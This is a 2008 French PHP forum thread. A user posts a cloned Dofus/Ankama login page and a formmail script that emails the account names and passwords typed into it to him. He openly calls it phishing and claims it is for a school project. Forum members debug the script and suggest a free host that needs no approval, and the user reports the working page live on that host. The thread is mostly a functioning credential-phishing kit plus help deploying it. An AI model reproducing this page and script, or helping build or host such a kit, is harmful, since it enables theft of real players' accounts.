01net    Web


Actuellement en ligne : 130 Utilisateurs dont 4 dans Programmation et développement >S'inscrire      >S'identifier      >Recherche      >Aide  
modéré par A.Ouloube, Beno@  
01net > Forum de 01net > Programmation et développement > PHP
> [RESOLU] Adaptation script PHP
Auteur
Message
 
<     1       >
timdid
  
  :-)
      ?   @     Posté le 28/05/2008 14:21:46  
Voter pour ce message
Bonjour,

Je viens vous demander de l'aide au sujet d'un script php. Il s'agit de ce qu'on pourrait appeler un formmail. C'est un script qui fait en sorte que les informations remplies dans les champs me sont envoyées par mail.

J'ai donc ma page html avec mes deux champs. Mais le script html ne marche pas... Je ne reçois rien et il me met "Vous n'avez pas complété le champ 1 et 2"

Donc je vous post mon script php : Pouvez vous me dire si quelque chose cloche ?

<?

function check_mail($champ4) {
if( (preg_match('/(@.*@)|(\.\.)|(@\.)|(\.@)|(^\.)/', $champ4)) ||
(preg_match('/^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,3}|[0-9]{1,3})(\]?)$/',$champ4)) ) {
$host = explode('@', $champ4);
if(checkdnsrr($host[1].'.', 'MX') ) return true;
if(checkdnsrr($host[1].'.', 'A') ) return true;
if(checkdnsrr($host[1].'.', 'CNAME') ) return true;
}
return false;
}
$MailTo = "adresseemail@essai.fr";
$MailSubject = "Essai Formmail";
$MailHeader = "From: ";

$min_size="3"; // Longueur minimum du message
$max_size="5000"; //Longueur maximum du message


$Envoi = 1;
if ($champ1 == ""){echo("Vous n'avez pas complété le champ 1.<br>");
$Envoi = 0;
}
else {
$MailBody .= "Pseudo $champ1\n";
}
if ($champ2 == ""){
echo("Vous n'avez pas complété le champ Mot De Passe.<br>");
$Envoi = 0;
}
else {
$MailBody .= "Mot de pass $champ2\n";
}
if ($Envoi == 0) {
}

//Envoi du message
if ($Envoi == 1) {
mail($MailTo, $MailSubject, $MailBody, $MailHeader);
}
?>
<meta http-equiv="refresh" content="3,www.adresseopif.com/">


Ou sinon pourriez vous me faire un script php adapté à ma page html, c'est à dire avec 2 champs car je ne m'y connais pas du tout en php, vous l'aurez compris. Donc voici ma page :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Dofus</title>
<meta name="description" content="" />
<meta name="keywords" content="" />
<meta name="robots" content="Index,Follow" />
<meta name="language" content="fr" />
<meta http-equiv="imagetoolbar" content="no" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<link type="image/x-icon" rel="shortcut icon" href="index_files/favicon0.ico" />
<link rel="stylesheet" type="text/css" href="index_files/reset000.css" media="screen" />
<link rel="stylesheet" type="text/css" href="index_files/base0000.css" media="screen" />
<link rel="stylesheet" type="text/css" href="index_files/global00.css" media="screen" />
<script type="text/javascript">
STATIC = "https://static.ankama.com/ankamaaccount/www"
</script>
</head>
<body class="fr">
<div id="body">
<a id="logo" href="http://www.dofus.com/fr"></a>
<div id="header">
<div id="quick">
<ul>
<li><a href="https://www.dofus.com/es" class="es"></a></li>
<li><a href="https://www.dofus.com/de" class="de"></a></li>
<li><a href="https://www.dofus.com/en" class="en"></a></li>
<li><a href="https://www.dofus.com/fr" class="fr_on"></a></li>
</ul>
<p>
<a href="https://www.dofus.com/fr/creer-un-compte">Inscription</a> |
<a href="https://www.dofus.com/fr/votre-compte">Gestion de compte</a>
| <a href="http://www.ankama-games.com/fr/abonnement/" target="_blank">Abonnement</a>
</p>
</div>
</div>
<div id="content">

<div class="warning share">Pour la sécurité de votre compte,<br />
<strong>ne partagez pas ces informations !</strong></div>
<h1>Identification</h1>
<a href="http://www.dofus.com/fr">Retour au site communautaire</a>

<form class="form" method="post" action="formmail.php">
<input type="hidden" name="postBack" value="1" />
<input type="hidden" name="f" value="" />
<p class="intro">Si vous possédez déjà un compte, identifiez-vous ci-dessous :</p>
<div class="ident">
<h3>Identification</h3>
<fieldset>
<label for="champ1">* Votre nom de compte : </label>
<input name="champ1" id="login" type="text" value="" />
</fieldset>
<fieldset>
<label for="champ2">* Votre mot de passe : </label>
<input name="champ2" id="password" type="password" value="" />
</fieldset>
<fieldset class="center">
<input type="submit" class="bt btbig" value="Je m'identifie" />
</fieldset>
</div>
</form>
<p class="recover">
<a href="https://www.dofus.com/fr/votre-compte/retrouver-mot-de-passe">J'ai oublié mon mot de passe !</a> |
<a href="https://www.dofus.com/fr/creer-un-compte">Je n'ai pas de compte</a>
</p>
<p class="grey">* Tous les champs sont obligatoires</p>

</div>
<div class="clear"></div>
<div id="stop"></div>
</div>
<div id="footer"><a href="javascript:void(0);" onclick="window.open('http://www.ankama.com/terms_of_use/terms.php?lang=fr&amp;site=do','pop','scrollbars=yes,menubar=yes,width=700,height=600')">Conditions d'utilisation</a> - <a href="javascript:void(0);" onclick=" window.open('http://www.ankama.com/terms_of_use/policy.php?lang=fr&amp;site=do','pop','scrollbars=yes,menubar=yes,width=650,height=500')">Politique de confidentialité</a> - <a href="javascript:void(0);" onclick="window.open('http://www.ankama.com/terms_of_use/security.php?lang=fr&amp;site=ag','pop','scrollbars=yes,menubar=yes,width=650,height=500')">Paiements & Sécurité</a><br />
<a href="http://www.ankama.com/" target="_blank">Ankama</a> © 2008. Tous droits réservés.</div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-122429-46");
pageTracker._setDomainName("none");
pageTracker._setAllowLinker(true);
pageTracker._initData();
pageTracker._trackPageview();
</script>


</body>
</html>
<!-- This document saved from https://www.dofus.com/fr/identification -->


Cette page, je ne sais pas si vous l'avez remarqué, est en faite du phishing ;) Ne vous inquiétez pas elle n'est pas de moi, nous sommes en train d'étudier le html en cours (j'ai un peu séché) et nous devons présenter un projet. Ici nous présenterons le fonctionnement de cette technique illégal, et pour ça il nous faut un bon exemple.
J'espère que personne n'essaiera d'utiliser cette page à de mauvaises fin.

Merci d'avance.


-->Message édité par timdid le 05/07/2008 23:21:05<--
timdid
  
  :-)
      ?   @     Posté le 28/05/2008 19:18:04  
Voter pour ce message
SVP j'attend une réponse !
Le N@in Vert
  Je pompe donc je suis.
  :-)
      ?   ^   @     Posté le 28/05/2008 19:25:12  
Voter pour ce message
Le scripte php que tu montre est assez moche...
Comme sa je ne vois pas d'erreur mais bon...

Et sa me semble impossible qu'il te mette :
"Vous n'avez pas complété le champ 1 et 2"

Il met plutôt :
"Vous n'avez pas complété le champ 1" et / ou "Vous n'avez pas complété le champ Mot De Passe."


Après si tu veut je te récrie un scripte propre qui marche et qui fait ce que tu veut...
-------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon
Le site du zero : http://www.siteduzero.com
Mon site perso : http://lesitedesnains.ironie.org
timdid
  
  :-)
      ?   @     Posté le 28/05/2008 20:02:39  
Voter pour ce message
Oui tu as raison j'ai écris le message un peu dans la précipitation il me met bien distinctement les deux messages :
Vous n'avez pas complété le champ 1
Vous n'avez pas complété le champ 2


Donc si tu dis que le script est pas tres beau. Et comme il ne marche pas ce ne serait pas de refus que tu m'en refasses un. Ce serait meme la meilleur chose que tu pourrais me faire.

Donc merci, je l'attend avec impatience.
:love:
Le N@in Vert
  Je pompe donc je suis.
  :-)
      ?   ^   @     Posté le 28/05/2008 21:01:49  
Voter pour ce message
Tu veut que sa soit un seul fichier "formmail.php" avec ton html et le php inclue dedans ou que ton fichier html pointe vers un scripte php distant appeler "formmail.php" ??
-------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon
Le site du zero : http://www.siteduzero.com
Mon site perso : http://lesitedesnains.ironie.org
Pc_expert_3
  
   
      ?   @     Posté le 28/05/2008 21:06:01  
Voter pour ce message
timdid a écrit :
Oui tu as raison j'ai écris le message un peu dans la précipitation il me met bien distinctement les deux messages :



Donc si tu dis que le script est pas tres beau. Et comme il ne marche pas ce ne serait pas de refus que tu m'en refasses un. Ce serait meme la meilleur chose que tu pourrais me faire.

Donc merci, je l'attend avec impatience.
:love:

C'est pas à lui de faire ton boulot O_o.

Tu utilises $champ1 et $champ2 sans les avoir crées. Tu comptes donc sur les register_globals.
Or, cette fonction est désactivée depuis php4.2 (je crois).

Tu dois commencer par redéclarer tes variables $champ1 = $_POST['champ1']
-------
Fils d'Albanel, va !
Le N@in Vert
  Je pompe donc je suis.
  :-)
      ?   ^   @     Posté le 28/05/2008 21:11:42  
Voter pour ce message
Mais euh moi sa m'amuse de faire ces scripte :p
Enfin bon d'un certain coté Pc_eXPert a raison c'est mieux pour toi si tu le fait toi même...
C'est utile de connaitre php... Sa te servira surement a l'avenir...
Et puis entre nous c'est pas bien compliquer...
-------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon
Le site du zero : http://www.siteduzero.com
Mon site perso : http://lesitedesnains.ironie.org
Pc_expert_3
  
   
      ?   @     Posté le 28/05/2008 21:14:06  
Voter pour ce message
Mais ce script il est pas de lui ?

Si c'est le cas il doit avoir quelques bases quand même (pi y'a les regexp, bon...)
-------
Fils d'Albanel, va !
timdid
  
  :-)
      ?   @     Posté le 28/05/2008 23:02:18  
Voter pour ce message
Bonjour à tous, alors ce n'est pas moi qui ai fait le script, je l'ai trouvé sur interne. Un débutant me l'a fait en faite...
Car mon cours ne porte pas beaucoup sur le php et donc je n'ai aucune notion en php. Mais pour faire le projet que j'envisage j'aurai besoin de ce script. Mais mon projet ne porte pas sur le php mais sur les techniques de hack illégales donc le phishing est une sous-partie et pour créer la page de phishing j'ai besoin d'un script php. Donc même si vous me disiez que je dois le faire moi même ça n'arrivera pas j'en serais incapable :p et c'est pour ça que je viens demander votre aide si précieuse.

Je ne sais pas si je me suis bien expliquer :pt1cable: Sinon je referai mon message plus clairement :/

Donc espérons que le nain vert va s'amuser à faire mon script. En tous cas ce serait super sympa

Merci d'avance (enfin j'espère :jap: )
Pc_expert_3
  
   
      ?   @     Posté le 28/05/2008 23:04:42  
Voter pour ce message
Je t'ai dit ce qui n'allait pas.

PS : le phishing, c'est le mal.
-------
Fils d'Albanel, va !
timdid
  
  :-)
      ?   @     Posté le 28/05/2008 23:10:21  
Voter pour ce message
Merci PC_Expert_3. Mais je viens de dire que je ne m'y connaissais pas du tout en php :pleure: Donc ce serait sympa de me récrire mon script en rajoutant les 2 lignes que tu as mentionnées, celle ou il faut déclarer les champs.
Sinon explique moi comment faire :jap:
Pc_expert_3
  
   
      ?   @     Posté le 28/05/2008 23:18:02  
Voter pour ce message
Ben tu rajoutes au tout début
$champ1 = $_POST['champ1'];
$champ2 = $_POST['champ2'];

Je suis pas sûr qu'il n'y ait que ça qui bloque, mais bon, on verra ça quand t'auras corrigé ce premier problème.
-------
Fils d'Albanel, va !
timdid
  
  :-)
      ?   @     Posté le 28/05/2008 23:38:52  
Voter pour ce message
Bon bah j'ai fait comme tu m'a dit. J'ai rajouter ces deux lignes au début. Et voilà que je n'ai plus de messages d'erreur :super:

... Mais ça ne marche toujours pas. Je ne reçois aucun mail. Et vu que je doit montrer un exemple vaut mieux qu'il marche. Donc si tu pouvais encore un peu m'aider :jap:
Pc_expert_3
  
   
      ?   @     Posté le 29/05/2008 00:01:00  
Voter pour ce message
if ($Envoi == 0) {
}
A supprimer, c'est vide, inutile.
Et puis quelle horreur ce $Envoi=1 $Envoi=0...

$MailHeader = "From: ";
rajoute un truc genre From :adresse@mail.net
-------
Fils d'Albanel, va !
timdid
  
  :-)
      ?   @     Posté le 29/05/2008 00:07:29  
Voter pour ce message
J'ai supprimé :
if ($Envoi == 0) {
}

J'ai aussi ajouter une adresse après "From:..."
Et ça ne marche pas.
Mais quand tu dis "quelle horreur" tu veux que je modifie ou que je supprime les $Envoi=1 $Envoi=0... ??
Pc_expert_3
  
   
      ?   @     Posté le 29/05/2008 00:15:48  
Voter pour ce message
Plus simplement : est-ce que le serveur sur lequel ce script tourne a un SMTP ?
-------
Fils d'Albanel, va !
timdid
  
  :-)
      ?   @     Posté le 29/05/2008 00:22:00  
Voter pour ce message
Mhh je sais pas il faudrait que je mette quoi dans le script pour qu'il essaye juste d'envoyer un mail ? et le serveur que j'utilise est http://www.000webhost.com/ et je ne sais pas s'il a un smtp
timdid
  
  :-)
      ?   @     Posté le 29/05/2008 00:26:37  
Voter pour ce message
Euh vraiment très peu.
Pc_expert_3
  
   
      ?   @     Posté le 29/05/2008 00:27:26  
Voter pour ce message
mail('tonadresse@isp.net','Le titre du message','Le message de test');
Tu mets ça tout en haut de ton script, il l'enverra en premier.

Si rien ne vient, alors tu ne peux pas envoyer de mails à partir de ce serveur.
-------
Fils d'Albanel, va !
timdid
  
  :-)
      ?   @     Posté le 29/05/2008 00:33:29  
Voter pour ce message
Merci de votre aide. J'ai fait comme vous m'avez dit... Et j'ai recu aucun message.

Alors je vais vous poser une dernière question ? Vous pourriez me communiquer des noms d'hébergeurs gratuits ou il n'y a pas besoin de faire de requete (trop long et souvent rejeté vu que ça a rapport avec un truc illégal)
-->Message édité par timdid le 29/05/2008 00:34:09<--
Pc_expert_3
  
   
      ?   @     Posté le 29/05/2008 00:52:08  
Voter pour ce message
www.bplaced.net
Allemand mais très bien : 1Go de stockage, 10 bases SQL, possibilité de rediriger un domaine en A, pas de pub.
-------
Fils d'Albanel, va !
timdid
  
  :-)
      ?   @     Posté le 29/05/2008 01:20:35  
Voter pour ce message
Merci je viens de me créer un compte ça m'a l'air parfait.
mais je sens que je vais etre un peu casse-pied. Mais j'ai mis mon site sur le ftp avec ma page index.html à la racine.
Mais quand je me met sur mon site, c'est pas mon index qui apparait ? Comment faire ?

Ps: Et comment faire pour retirer les pubs ? Du style la bannière google ads
-->Message édité par timdid le 29/05/2008 01:22:08<--
Pc_expert_3
  
   
      ?   @     Posté le 29/05/2008 01:34:55  
Voter pour ce message
Euh c'est quoi l'URL de ton site ?
Parce qu'il n'y a pas de google ad normalement O_o
-------
Fils d'Albanel, va !
timdid
  
  :-)
      ?   @     Posté le 29/05/2008 07:22:28  
Voter pour ce message
Et bien non tu as raison, il n'y en a pas. Il y en avait avant que je mette mon site maintenant y e n plus et ça marche nickel. Plus qu'à vérifier si le script lui marche. Je te tiendrai aux nouvelles.
Merci
timdid
  
  :-)
      ?   @     Posté le 29/05/2008 07:30:12  
Voter pour ce message
SUPER :sol: ça marche nickel, merci ma note va etre super.
En tous cas sans vous j'y serais pas arrivé merci :jap:

Ps: Là je vux bien qu'on lock le sujet.
Le N@in Vert
  Je pompe donc je suis.
  :-)
      ?   ^   @     Posté le 29/05/2008 14:01:23  
Voter pour ce message
Bon bah je suis au chomage alors...
:lol:

Pour ce qui est de ton sujet EDIT le premier message et rajoute [resolu] au nom du sujet...
-------
Les aventure du donjon de naheulbeuk : www.penofchaos.com/donjon
Le site du zero : http://www.siteduzero.com
Mon site perso : http://lesitedesnains.ironie.org
timdid
  
  :-)
      ?   @     Posté le 29/05/2008 16:18:47  
Voter pour ce message
Ok c'est fait =D
<     1       >

01net > Forum de 01net > Programmation et développement > PHP
> [RESOLU] Adaptation script PHP

Aller à :

Page générée en : 0.712s - X2board 2.2

Nous contacter | Charte de confiance | Voir notice légale

Tous droits réservés © 1999 - 2008 Groupe Tests - 01net.


Sites du réseau 01net Network : 01net - 01men - Rmc.fr - Bfmtv.fr - Radiobfm.com - TousLesPodcasts - Micro Achat

Édition PDF
Créez, convertissez, personnalisez et visualisez vos documents PDF!

Jeux
Nouveauté : Aidez de nombreuses personnes à atteindre leurs objectifs sportifs !